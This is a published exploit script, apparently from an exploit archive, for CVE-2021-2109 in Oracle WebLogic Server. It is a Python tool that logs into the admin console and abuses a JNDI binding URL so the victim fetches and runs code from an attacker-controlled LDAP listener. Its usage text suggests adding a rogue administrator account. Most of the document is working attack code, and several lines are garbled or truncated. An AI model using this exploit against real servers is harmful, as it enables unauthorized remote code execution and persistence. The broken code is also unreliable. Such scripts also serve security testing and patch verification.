Oracle WebLogic Server Remote Code Execution

Type packetstorm
Reporter Photubias
Modified 2021-01-22T00:00:00


                                            `# Exploit Title: Oracle WebLogic Server - RCE (Authenticated)  
# Date: 2021-01-21  
# Exploit Author: Photubias   
# Vendor Advisory: [1]  
# Vendor Homepage:  
# Version: WebLogic,,,, (fixed in JDKs 6u201, 7u191, 8u182 & 11.0.1)  
# Tested on: WebLogic with JDK-8u181 on Windows 10 20H2  
# CVE: CVE-2021-2109  
#!/usr/bin/env python3  
Copyright 2021 Photubias(c)  
This program is free software: you can redistribute it and/or modify  
it under the terms of the GNU General Public License as published by  
the Free Software Foundation, either version 3 of the License, or  
(at your option) any later version.  
This program is distributed in the hope that it will be useful,  
but WITHOUT ANY WARRANTY; without even the implied warranty of  
GNU General Public License for more details.  
You should have received a copy of the GNU General Public License  
along with this program. If not, see <>.  
File name  
written by tijl[dot]deneut[at]howest[dot]be for  
This is a native implementation without requirements, written in Python 3.  
Works equally well on Windows as Linux (as MacOS, probably ;-)  
Requires JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar  
to be in the same folder  
import urllib.request, urllib.parse, http.cookiejar, ssl  
import sys, os, optparse, subprocess, threading, time  
## Static vars; change at will, but recommend leaving as is  
sURL = ''  
iTimeout = 5  
oRun = None  
## Ignore unsigned certs, if any because WebLogic is default HTTP  
ssl._create_default_https_context = ssl._create_unverified_context  
class runJar(threading.Thread):  
def __init__(self, sJarFile, sCMD, sAddress):  
self.stdout = []  
self.stderr = ''  
self.cmd = sCMD  
self.addr = sAddress  
self.jarfile = sJarFile  
self.proc = None  
def run(self):  
self.proc = subprocess.Popen(['java', '-jar', self.jarfile, '-C', self.cmd, '-A', self.addr], shell=False, stdout = subprocess.PIPE, stderr = subprocess.PIPE, universal_newlines=True)  
for line in iter(self.proc.stdout.readline, ''): self.stdout.append(line)  
for line in iter(self.proc.stderr.readline, ''): self.stderr += line  
def findJNDI():  
sCurDir = os.getcwd()  
sFile = ''  
for file in os.listdir(sCurDir):  
if 'JNDI' in file and '.jar' in file:  
sFile = file  
print('[+] Found and using ' + sFile)  
return sFile  
def findJAVA(bVerbose):  
oProc = subprocess.Popen('java -version', stdout = subprocess.PIPE, stderr = subprocess.STDOUT)  
exit('[-] Error: java not found, needed to run the JAR file\n Please make sure to have "java" in your path.')  
sResult = list(oProc.stdout)[0].decode()  
if bVerbose: print('[+] Found Java: ' + sResult)  
def checkParams(options, args):  
if args: sHost = args[0]  
sHost = input('[?] Please enter the URL ['+sURL+'] : ')  
if sHost == '': sHost = sURL  
if sHost[-1:] == '/': sHost = sHost[:-1]  
if not sHost[:4].lower() == 'http': sHost = 'http://' + sHost  
if options.username: sUser = options.username  
sUser = input('[?] Username [weblogic] : ')  
if sUser == '': sUser = 'weblogic'  
if options.password: sPass = options.password  
sPass = input('[?] Password [Passw0rd-] : ')  
if sPass == '': sPass = 'Passw0rd-'  
if options.command: sCMD = options.command  
sCMD = input('[?] Command to run [calc] : ')  
if sCMD == '': sCMD = 'calc'  
if options.listenaddr: sLHOST = options.listenaddr  
sLHOST = input('[?] Local IP to connect back to [] : ')  
if sLHOST == '': sLHOST = ''  
if options.verbose: bVerbose = True  
else: bVerbose = False  
return (sHost, sUser, sPass, sCMD, sLHOST, bVerbose)  
def startListener(sJarFile, sCMD, sAddress, bVerbose):  
global oRun  
oRun = runJar(sJarFile, sCMD, sAddress)  
print('[!] Starting listener thread and waiting 3 seconds to retrieve the endpoint')  
if not oRun.stderr == '':  
exit('[-] Error starting Java listener:\n' + oRun.stderr)  
if bVerbose: print('[!] For this to work, make sure your firewall is configured to be reachable on 1389 & 8180')  
for line in oRun.stdout:  
if bThisLine: return line.split('/')[3].replace('\n','')  
if 'JDK 1.8' in line: bThisLine = True  
def endIt():  
global oRun  
print('[+] Closing threads')  
if oRun: oRun.proc.terminate()  
def main():  
usage = (  
'usage: %prog [options] URL \n'  
' Make sure to have "JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar"\n'  
' in the current working folder\n'  
'Get it here:\n'  
'Only works when hacker is reachable via an IPv4 address\n'  
'Use "whoami" to just verify the vulnerability (OPSEC safe but no output)\n'  
'Example: -u weblogic -p Passw0rd -c calc -l\n'  
'Sample payload as admin: cmd /c net user pwned Passw0rd- /add & net localgroup administrators pwned /add'  
parser = optparse.OptionParser(usage=usage)  
parser.add_option('--username', '-u', dest='username')  
parser.add_option('--password', '-p', dest='password')  
parser.add_option('--command', '-c', dest='command')  
parser.add_option('--listen', '-l', dest='listenaddr')  
parser.add_option('--verbose', '-v', dest='verbose', action="store_true", default=False)  
## Get or ask for the vars  
(options, args) = parser.parse_args()  
(sHost, sUser, sPass, sCMD, sLHOST, bVerbose) = checkParams(options, args)  
## Verify Java and JAR file  
sJarFile = findJNDI()  
## Keep track of cookies between requests  
cj = http.cookiejar.CookieJar()  
oOpener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))  
print('[+] Verifying reachability')  
## Get the cookie  
oRequest = urllib.request.Request(url = sHost + '/console/')  
oResponse =, timeout = iTimeout)  
for c in cj:  
if bVerbose: print('[+] Got cookie "' + c.value + '"')  
## Logging in  
lData = {'j_username' : sUser, 'j_password' : sPass, 'j_character_encoding' : 'UTF-8'}  
lHeaders = {'Referer' : sHost + '/console/login/LoginForm.jsp'}  
oRequest = urllib.request.Request(url = sHost + '/console/j_security_check', data = urllib.parse.urlencode(lData).encode(), headers = lHeaders)  
oResponse =, timeout = iTimeout)  
sResult ='ignore').split('\r\n')  
bSuccess = True  
for line in sResult:  
if 'Authentication Denied' in line: bSuccess = False  
if bSuccess: print('[+] Succesfully logged in!\n')  
else: exit('[-] Authentication Denied')  
## Launch the LDAP listener and retrieve the random endpoint value  
sRandom = startListener(sJarFile, sCMD, sLHOST, bVerbose)  
if bVerbose: print('[+] Got Java value: ' + sRandom)  
## This is the actual vulnerability, retrieve LDAP data from victim which the runs on victim, it bypasses verification because IP is written as "127.0.0;1" instead of ""  
print('\n[+] Firing exploit now, hold on')  
sConvertedIP = sLHOST.split('.')[0] + '.' + sLHOST.split('.')[1] + '.' + sLHOST.split('.')[2] + ';' + sLHOST.split('.')[3]  
sFullUrl = sHost + r'/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://' + sConvertedIP + ':1389/' + sRandom + r';AdminServer%22)'  
if bVerbose: print('[!] Using URL ' + sFullUrl)  
oRequest = urllib.request.Request(url = sFullUrl, headers = lHeaders)  
oResponse =, timeout = iTimeout)  
bExploitWorked = False  
for line in oRun.stdout:  
if 'Log a request' in line: bExploitWorked = True  
if 'BypassByEl' in line: print('[-] Exploit failed, wrong SDK on victim')  
if not bExploitWorked: print('[-] Exploit failed, victim likely patched')  
else: print('[+] Victim vulnerable, exploit worked (could be as limited account!)')  
if bVerbose: print(oRun.stderr)  
if __name__ == "__main__":  
try: main()  
except KeyboardInterrupt: endIt()